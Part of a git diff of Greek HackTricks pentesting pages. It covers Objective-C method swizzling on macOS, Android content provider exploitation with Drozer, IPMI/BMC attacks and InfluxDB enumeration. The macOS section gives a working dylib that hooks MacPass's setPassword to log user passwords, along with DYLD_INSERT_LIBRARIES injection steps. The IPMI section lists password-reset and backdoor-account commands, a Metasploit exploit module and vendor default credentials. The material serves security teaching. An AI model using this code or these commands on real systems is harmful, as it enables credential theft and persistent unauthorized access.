> Σημειώστε ότι επειδή οι μέθοδοι και οι κλάσεις προσπελάζονται με βάση τα ονόματά τους, αυτές οι πληροφορίες αποθηκεύονται στο δυαδικό αρχείο, επομένως είναι δυνατή η ανάκτησή τους με `otool -ov </path/bin>` ή [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
### Accessing the raw methods
Είναι δυνατή η πρόσβαση στις πληροφορίες των μεθόδων όπως το όνομα, ο αριθμός παραμέτρων ή η διεύθυνση όπως στο παρακάτω παράδειγμα:
```objectivec
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
### Μέθοδος Swizzling με method_exchangeImplementations
Η συνάρτηση **`method_exchangeImplementations`** επιτρέπει να **αλλάξει** η **διεύθυνση** της **υλοποίησης** **μιας συνάρτησης με την άλλη**.
> [!CAUTION]
> Έτσι, όταν καλείται μια συνάρτηση, αυτό που **εκτελείται είναι η άλλη**.
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
```
> [!WARNING]
> Σε αυτή την περίπτωση, αν ο **κωδικός υλοποίησης της νόμιμης** μεθόδου **επαληθεύει** το **όνομα** της **μεθόδου**, θα μπορούσε να **ανιχνεύσει** αυτή τη swizzling και να την αποτρέψει από το να εκτελεστεί.
>
> Η παρακάτω τεχνική δεν έχει αυτόν τον περιορισμό.
### Method Swizzling with method_setImplementation
Η προηγούμενη μορφή είναι περίεργη γιατί αλλάζετε την υλοποίηση 2 μεθόδων η μία από την άλλη. Χρησιμοποιώντας τη συνάρτηση **`method_setImplementation`** μπορείτε να **αλλάξετε** την **υλοποίηση** μιας **μεθόδου για την άλλη**.
Απλά θυμηθείτε να **αποθηκεύσετε τη διεύθυνση της υλοποίησης της αρχικής** αν σκοπεύετε να την καλέσετε από τη νέα υλοποίηση πριν την αντικαταστήσετε, γιατί αργότερα θα είναι πολύ πιο δύσκολο να εντοπίσετε αυτή τη διεύθυνση.
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
```
## Hooking Attack Methodology
Σε αυτή τη σελίδα συζητήθηκαν διάφοροι τρόποι για να γίνει hook σε συναρτήσεις. Ωστόσο, περιλάμβαναν **την εκτέλεση κώδικα μέσα στη διαδικασία για επίθεση**.
Για να το κάνετε αυτό, η πιο εύκολη τεχνική που μπορείτε να χρησιμοποιήσετε είναι να εισάγετε ένα [Dyld μέσω μεταβλητών περιβάλλοντος ή hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Ωστόσο, υποθέτω ότι αυτό θα μπορούσε επίσης να γίνει μέσω [Dylib process injection](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port).
Ωστόσο, και οι δύο επιλογές είναι **περιορισμένες** σε **μη προστατευμένα** δυαδικά αρχεία/διαδικασίες. Ελέγξτε κάθε τεχνική για να μάθετε περισσότερα σχετικά με τους περιορισμούς.
Ωστόσο, μια επίθεση hooking function είναι πολύ συγκεκριμένη, ένας επιτιθέμενος θα το κάνει αυτό για να **κλέψει ευαίσθητες πληροφορίες από μέσα σε μια διαδικασία** (αν όχι, θα κάνατε απλώς μια επίθεση injection διαδικασίας). Και αυτές οι ευαίσθητες πληροφορίες μπορεί να βρίσκονται σε εφαρμογές που έχει κατεβάσει ο χρήστης, όπως το MacPass.
Έτσι, το vector του επιτιθέμενου θα ήταν είτε να βρει μια ευπάθεια είτε να αφαιρέσει την υπογραφή της εφαρμογής, εισάγοντας τη μεταβλητή περιβάλλοντος **`DYLD_INSERT_LIBRARIES`** μέσω του Info.plist της εφαρμογής προσθέτοντας κάτι όπως:
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
και στη συνέχεια **επανακαταχωρήστε** την εφαρμογή:
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
Προσθέστε σε αυτή τη βιβλιοθήκη τον κώδικα hooking για να εξάγετε τις πληροφορίες: Κωδικούς πρόσβασης, μηνύματα...
> [!CAUTION]
> Σημειώστε ότι σε νεότερες εκδόσεις του macOS, αν **αφαιρέσετε την υπογραφή** του δυαδικού αρχείου της εφαρμογής και αυτή είχε εκτελεστεί προηγουμένως, το macOS **δεν θα εκτελεί την εφαρμογή** πια.
#### Παράδειγμα βιβλιοθήκης
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## Αναφορές
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,95 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,14 +1,12 @@
# Εκμετάλλευση Παρόχων Περιεχομένου
## Εκμετάλλευση Παρόχων Περιεχομένου
# Exploiting Content Providers
{{#include ../../../banners/hacktricks-training.md}}
## Εισαγωγή
## Intro
Δεδομένα **παρέχονται από μια εφαρμογή σε άλλες** κατόπιν αιτήματος από ένα συστατικό που ονομάζεται **παροχέας περιεχομένου**. Αυτές οι αιτήσεις διαχειρίζονται μέσω των μεθόδων της **κλάσης ContentResolver**. Οι πάροχοι περιεχομένου μπορούν να αποθηκεύουν τα δεδομένα τους σε διάφορες τοποθεσίες, όπως μια **βάση δεδομένων**, **αρχεία** ή μέσω ενός **δικτύου**.
Δεδομένα **παρέχονται από μια εφαρμογή σε άλλες** κατόπιν αιτήματος από ένα συστατικό που είναι γνωστό ως **content provider**. Αυτά τα αιτήματα διαχειρίζονται μέσω των μεθόδων της **ContentResolver class**. Οι content providers μπορούν να αποθηκεύουν τα δεδομένα τους σε διάφορες τοποθεσίες, όπως μια **βάση δεδομένων**, **αρχεία**, ή μέσω ενός **δικτύου**.
Στο αρχείο _Manifest.xml_, η δήλωση του παρόχου περιεχομένου είναι απαραίτητη. Για παράδειγμα:
Στο αρχείο _Manifest.xml_, η δήλωση του content provider είναι απαραίτητη. Για παράδειγμα:
```xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
@ -40,7 +38,7 @@ Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
Είναι δυνατόν να συνθέσουμε πώς να φτάσουμε στον **DBContentProvider** ξεκινώντας τα URIs με “_content://_”. Αυτή η προσέγγιση βασίζεται σε πληροφορίες που αποκτήθηκαν από τη χρήση του Drozer, όπου κρίσιμες πληροφορίες βρίσκονταν στον _/Keys_ φάκελο.
Είναι δυνατόν να συνθέσουμε πώς να φτάσουμε στον **DBContentProvider** ξεκινώντας τα URIs με “_content://_”. Αυτή η προσέγγιση βασίζεται σε πληροφορίες που αποκτήθηκαν από τη χρήση του Drozer, όπου κρίσιμες πληροφορίες βρίσκονταν στον _/Keys_ κατάλογο.
Ο Drozer μπορεί να **μαντέψει και να δοκιμάσει αρκετά URIs**:
```
@ -162,12 +160,12 @@ dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc
```
### **Path Traversal**
Αν μπορείτε να έχετε πρόσβαση σε αρχεία, μπορείτε να προσπαθήσετε να εκμεταλλευτείτε ένα Path Traversal (σε αυτή την περίπτωση αυτό δεν είναι απαραίτητο αλλά μπορείτε να προσπαθήσετε να χρησιμοποιήσετε "_../_" και παρόμοια κόλπα).
Αν μπορείτε να έχετε πρόσβαση σε αρχεία, μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια Path Traversal (σε αυτή την περίπτωση αυτό δεν είναι απαραίτητο αλλά μπορείτε να προσπαθήσετε να χρησιμοποιήσετε το "_../_" και παρόμοια κόλπα).
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
**Αυτόματη ανακάλυψη διαδρομών Traversal από το Drozer**
**Αυτόματη ανακάλυψη διαδρομής Traversal από το Drozer**
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...

View File

@ -1,7 +1,5 @@
# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
{{#include ../banners/hacktricks-training.md}}
@ -17,7 +15,7 @@
Το IPMI είναι ικανό να παρακολουθεί θερμοκρασίες, τάσεις, ταχύτητες ανεμιστήρων και τροφοδοσίες, καθώς και να παρέχει πληροφορίες αποθέματος, να αναθεωρεί αρχεία υλικού και να στέλνει ειδοποιήσεις μέσω SNMP. Απαραίτητο για τη λειτουργία του είναι μια πηγή τροφοδοσίας και μια σύνδεση LAN.
Από την εισαγωγή του από την Intel το 1998, το IPMI υποστηρίζεται από πολλούς προμηθευτές, ενισχύοντας τις δυνατότητες απομακρυσμένης διαχείρισης, ειδικά με την υποστήριξη της έκδοσης 2.0 για σειριακή επικοινωνία μέσω LAN. Τα κύρια στοιχεία περιλαμβάνουν:
Από την εισαγωγή του από την Intel το 1998, το IPMI υποστηρίζεται από πολλούς προμηθευτές, ενισχύοντας τις δυνατότητες απομακρυσμένης διαχείρισης, ειδικά με την υποστήριξη της έκδοσης 2.0 για σειριακή επικοινωνία μέσω LAN. Τα κύρια συστατικά περιλαμβάνουν:
- **Baseboard Management Controller (BMC):** Ο κύριος μικροελεγκτής για τις λειτουργίες IPMI.
- **Communication Buses and Interfaces:** Για εσωτερική και εξωτερική επικοινωνία, συμπεριλαμβανομένων των ICMB, IPMB και διάφορων διεπαφών για τοπικές και δικτυακές συνδέσεις.
@ -69,15 +67,15 @@ msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI Κωδικοί πρόσβασης σε καθαρό κείμενο**
### **Supermicro IPMI Clear-text Passwords**
Μια κρίσιμη σχεδιαστική επιλογή στο IPMI 2.0 απαιτεί την αποθήκευση κωδικών πρόσβασης σε καθαρό κείμενο εντός των BMC για σκοπούς αυθεντικοποίησης. Η αποθήκευση αυτών των κωδικών από την Supermicro σε τοποθεσίες όπως το `/nv/PSBlock` ή το `/nv/PSStore` εγείρει σημαντικούς προβληματισμούς ασφαλείας:
Μια κρίσιμη σχεδιαστική επιλογή στο IPMI 2.0 απαιτεί την αποθήκευση κωδικών πρόσβασης σε καθαρό κείμενο εντός των BMC για σκοπούς αυθεντικοποίησης. Η αποθήκευση αυτών των κωδικών από την Supermicro σε τοποθεσίες όπως το `/nv/PSBlock` ή το `/nv/PSStore` εγείρει σημαντικούς προβληματισμούς σχετικά με την ασφάλεια:
```bash
cat /nv/PSBlock
```
### **Ευπάθεια UPnP IPMI Supermicro**
Η συμπερίληψη ενός ακροατή UPnP SSDP στο firmware IPMI της Supermicro, ιδιαίτερα στην UDP θύρα 1900, εισάγει έναν σοβαρό κίνδυνο ασφάλειας. Οι ευπάθειες στο Intel SDK για UPnP Devices έκδοσης 1.3.1, όπως αναφέρεται στην [αποκάλυψη της Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), επιτρέπουν την πρόσβαση root στο BMC:
Η συμπερίληψη ενός ακροατή UPnP SSDP στο firmware IPMI της Supermicro, ιδιαίτερα στην UDP θύρα 1900, εισάγει έναν σοβαρό κίνδυνο ασφάλειας. Οι ευπάθειες στο Intel SDK για UPnP Devices έκδοσης 1.3.1, όπως αναφέρεται στην [αποκάλυψη της Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), επιτρέπουν πρόσβαση root στο BMC:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
@ -85,17 +83,17 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow
**Η HP τυχαία επιλέγει τον προεπιλεγμένο κωδικό πρόσβασης** για το προϊόν **Integrated Lights Out (iLO)** κατά την κατασκευή. Αυτή η πρακτική αντιτίθεται σε άλλους κατασκευαστές, οι οποίοι τείνουν να χρησιμοποιούν **στατικά προεπιλεγμένα διαπιστευτήρια**. Μια σύνοψη των προεπιλεγμένων ονομάτων χρηστών και κωδικών πρόσβασης για διάφορα προϊόντα παρέχεται ως εξής:
- **HP Integrated Lights Out (iLO)** χρησιμοποιεί μια **εργοστασιακά τυχαία 8-χαρακτήρων αλφαριθμητική συμβολοσειρά** ως τον προεπιλεγμένο κωδικό πρόσβασης, επιδεικνύοντας υψηλότερο επίπεδο ασφάλειας.
- **HP Integrated Lights Out (iLO)** χρησιμοποιεί μια **εργοστασιακά τυχαία επιλεγμένη αλφαριθμητική συμβολοσειρά 8 χαρακτήρων** ως τον προεπιλεγμένο κωδικό πρόσβασης, επιδεικνύοντας υψηλότερο επίπεδο ασφάλειας.
- Προϊόντα όπως **iDRAC της Dell, IMM της IBM** και **Integrated Remote Management Controller της Fujitsu** χρησιμοποιούν εύκολα μαντεύσιμους κωδικούς πρόσβασης όπως "calvin", "PASSW0RD" (με μηδέν) και "admin" αντίστοιχα.
- Ομοίως, **Supermicro IPMI (2.0), Oracle/Sun ILOM** και **ASUS iKVM BMC** χρησιμοποιούν επίσης απλά προεπιλεγμένα διαπιστευτήρια, με "ADMIN", "changeme" και "admin" να χρησιμεύουν ως οι κωδικοί πρόσβασης τους.
## Accessing the Host via BMC
Η διαχειριστική πρόσβαση στον Controller Διαχείρισης Βάσης (BMC) ανοίγει διάφορους δρόμους για την πρόσβαση στο λειτουργικό σύστημα του host. Μια απλή προσέγγιση περιλαμβάνει την εκμετάλλευση της λειτουργικότητας Κλειδιού, Βίντεο, Ποντικιού (KVM) του BMC. Αυτό μπορεί να γίνει είτε επανεκκινώντας τον host σε ένα root shell μέσω GRUB (χρησιμοποιώντας `init=/bin/sh`) είτε εκκινώντας από μια εικονική CD-ROM που έχει οριστεί ως δίσκος διάσωσης. Τέτοιες μέθοδοι επιτρέπουν άμεση χειρισμό του δίσκου του host, συμπεριλαμβανομένης της εισαγωγής backdoors, εξαγωγής δεδομένων ή οποιωνδήποτε απαραίτητων ενεργειών για μια αξιολόγηση ασφάλειας. Ωστόσο, αυτό απαιτεί επανεκκίνηση του host, που είναι ένα σημαντικό μειονέκτημα. Χωρίς επανεκκίνηση, η πρόσβαση στον τρέχοντα host είναι πιο περίπλοκη και ποικίλλει ανάλογα με τη διαμόρφωση του host. Εάν η φυσική ή σειριακή κονσόλα του host παραμένει συνδεδεμένη, μπορεί εύκολα να αναληφθεί μέσω των λειτουργιών KVM ή serial-over-LAN (sol) του BMC μέσω `ipmitool`. Η εξερεύνηση της εκμετάλλευσης κοινών πόρων υλικού, όπως η διαδρομή i2c και το τσιπ Super I/O, είναι μια περιοχή που απαιτεί περαιτέρω έρευνα.
Η διαχειριστική πρόσβαση στον Controller Διαχείρισης Βάσης (BMC) ανοίγει διάφορους δρόμους για την πρόσβαση στο λειτουργικό σύστημα του host. Μια απλή προσέγγιση περιλαμβάνει την εκμετάλλευση της λειτουργικότητας Κλειδιού, Βίντεο, Ποντικιού (KVM) του BMC. Αυτό μπορεί να γίνει είτε επανεκκινώντας τον host σε ένα root shell μέσω GRUB (χρησιμοποιώντας `init=/bin/sh`) είτε εκκινώντας από μια εικονική CD-ROM που έχει οριστεί ως δίσκος διάσωσης. Τέτοιες μέθοδοι επιτρέπουν άμεση χειραγώγηση του δίσκου του host, συμπεριλαμβανομένης της εισαγωγής backdoors, εξαγωγής δεδομένων ή οποιωνδήποτε απαραίτητων ενεργειών για μια αξιολόγηση ασφάλειας. Ωστόσο, αυτό απαιτεί επανεκκίνηση του host, που είναι ένα σημαντικό μειονέκτημα. Χωρίς επανεκκίνηση, η πρόσβαση στον τρέχοντα host είναι πιο περίπλοκη και ποικίλλει ανάλογα με τη διαμόρφωση του host. Εάν η φυσική ή σειριακή κονσόλα του host παραμένει συνδεδεμένη, μπορεί εύκολα να αναληφθεί μέσω των λειτουργιών KVM ή serial-over-LAN (sol) του BMC μέσω του `ipmitool`. Η εξερεύνηση της εκμετάλλευσης κοινών πόρων υλικού, όπως η διαδρομή i2c και το τσιπ Super I/O, είναι μια περιοχή που απαιτεί περαιτέρω έρευνα.
## Introducing Backdoors into BMC from the Host
Αφού παραβιαστεί ένας host εξοπλισμένος με BMC, η **τοπική διεπαφή BMC μπορεί να αξιοποιηθεί για την εισαγωγή ενός backdoor λογαριασμού χρήστη**, δημιουργώντας μια διαρκή παρουσία στον διακομιστή. Αυτή η επίθεση απαιτεί την παρουσία του **`ipmitool`** στον παραβιασμένο host και την ενεργοποίηση της υποστήριξης οδηγού BMC. Οι παρακάτω εντολές απεικονίζουν πώς μπορεί να εισαχθεί ένας νέος λογαριασμός χρήστη στο BMC χρησιμοποιώντας τη τοπική διεπαφή του host, παρακάμπτοντας την ανάγκη για αυθεντικοποίηση. Αυτή η τεχνική είναι εφαρμόσιμη σε ένα ευρύ φάσμα λειτουργικών συστημάτων, συμπεριλαμβανομένων των Linux, Windows, BSD και ακόμη και DOS.
Αφού παραβιαστεί ένας host εξοπλισμένος με BMC, η **τοπική διεπαφή BMC μπορεί να αξιοποιηθεί για την εισαγωγή ενός λογαριασμού backdoor**, δημιουργώντας μια μόνιμη παρουσία στον διακομιστή. Αυτή η επίθεση απαιτεί την παρουσία του **`ipmitool`** στον παραβιασμένο host και την ενεργοποίηση της υποστήριξης οδηγού BMC. Οι παρακάτω εντολές απεικονίζουν πώς μπορεί να εισαχθεί ένας νέος λογαριασμός χρήστη στο BMC χρησιμοποιώντας τη τοπική διεπαφή του host, παρακάμπτοντας την ανάγκη για αυθεντικοποίηση. Αυτή η τεχνική είναι εφαρμόσιμη σε ένα ευρύ φάσμα λειτουργικών συστημάτων, συμπεριλαμβανομένων των Linux, Windows, BSD και ακόμη και DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
@ -115,7 +113,7 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
- `port:623`
## Αναφορές
## References
- [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)

View File

@ -1,24 +1,23 @@
# 8086 - Pentesting InfluxDB
{{#include ../banners/hacktricks-training.md}}
## Basic Information
**InfluxDB** είναι μια ανοιχτού κώδικα **βάση δεδομένων χρονοσειρών (TSDB)** που αναπτύχθηκε από την InfluxData. Οι TSDB είναι βελτιστοποιημένες για την αποθήκευση και την εξυπηρέτηση δεδομένων χρονοσειρών, τα οποία αποτελούνται από ζεύγη χρονικής σήμανσης-τιμής. Σε σύγκριση με τις βάσεις δεδομένων γενικής χρήσης, οι TSDB προσφέρουν σημαντικές βελτιώσεις στον **χώρο αποθήκευσης** και στην **απόδοση** για σύνολα δεδομένων χρονοσειρών. Χρησιμοποιούν εξειδικευμένους αλγόριθμους συμπίεσης και μπορούν να ρυθμιστούν ώστε να αφαιρούν αυτόματα παλιά δεδομένα. Οι εξειδικευμένοι δείκτες βάσεων δεδομένων βελτιώνουν επίσης την απόδοση των ερωτημάτων.
**InfluxDB** είναι μια ανοιχτού κώδικα **βάση δεδομένων χρονικών σειρών (TSDB)** που αναπτύχθηκε από την InfluxData. Οι TSDB είναι βελτιστοποιημένες για την αποθήκευση και την εξυπηρέτηση δεδομένων χρονικών σειρών, τα οποία αποτελούνται από ζεύγη χρονικής σήμανσης-τιμής. Σε σύγκριση με τις βάσεις δεδομένων γενικής χρήσης, οι TSDB παρέχουν σημαντικές βελτιώσεις στον **χώρο αποθήκευσης** και στην **απόδοση** για σύνολα δεδομένων χρονικών σειρών. Χρησιμοποιούν εξειδικευμένους αλγόριθμους συμπίεσης και μπορούν να ρυθμιστούν ώστε να αφαιρούν αυτόματα παλιά δεδομένα. Οι εξειδικευμένοι δείκτες βάσεων δεδομένων βελτιώνουν επίσης την απόδοση των ερωτημάτων.
**Προεπιλεγμένη θύρα**: 8086
```
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
```
## Αριθμητική
## Enumeration
Από την οπτική γωνία ενός pentester, αυτή είναι μια άλλη βάση δεδομένων που θα μπορούσε να αποθηκεύει ευαίσθητες πληροφορίες, οπότε είναι ενδιαφέρον να γνωρίζουμε πώς να εξάγουμε όλες τις πληροφορίες.
### Αυθεντικοποίηση
### Authentication
Η InfluxDB μπορεί να απαιτεί αυθεντικοποίηση ή όχι.
Το InfluxDB μπορεί να απαιτεί αυθεντικοποίηση ή όχι.
```bash
# Try unauthenticated
influx -host 'host name' -port 'port #'
@ -47,7 +46,7 @@ _internal
```
#### Εμφάνιση πινάκων/μετρήσεων
Η [**τεκμηρίωση InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) εξηγεί ότι οι **μετρήσεις** στο InfluxDB μπορούν να παραλληλιστούν με τους πίνακες SQL. Η ονοματολογία αυτών των **μετρήσεων** είναι ενδεικτική του αντίστοιχου περιεχομένου τους, κάθε μία φιλοξενεί δεδομένα που σχετίζονται με μια συγκεκριμένη οντότητα.
Η [**τεκμηρίωση InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) εξηγεί ότι οι **μετρήσεις** στο InfluxDB μπορούν να παραλληλιστούν με τους πίνακες SQL. Η ονοματολογία αυτών των **μετρήσεων** είναι ενδεικτική του αντίστοιχου περιεχομένου τους, κάθε μία φιλοξενεί δεδομένα σχετικά με μια συγκεκριμένη οντότητα.
```bash
> show measurements
name: measurements
@ -87,7 +86,7 @@ inodes_used integer
```
#### Dump Table
Και τελικά μπορείτε να **εκτελέσετε dump τον πίνακα** κάνοντας κάτι όπως
Και τελικά μπορείτε να **dump the table** κάνοντας κάτι σαν
```bash
select * from cpu
name: cpu
@ -97,7 +96,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
```
> [!WARNING]
> Σε κάποιες δοκιμές με την παράκαμψη της αυθεντικοποίησης παρατηρήθηκε ότι το όνομα του πίνακα έπρεπε να είναι μέσα σε διπλά εισαγωγικά όπως: `select * from "cpu"`
> Σε κάποιες δοκιμές με την παράκαμψη αυθεντικοποίησης παρατηρήθηκε ότι το όνομα του πίνακα έπρεπε να είναι μέσα σε διπλά εισαγωγικά όπως: `select * from "cpu"`
### Αυτοματοποιημένη Αυθεντικοποίηση
```bash

View File

@ -1,18 +1,18 @@
# 9001 - Pentesting HSQLDB
{{#include ../banners/hacktricks-training.md}}
# Βασικές Πληροφορίες
## Basic Information
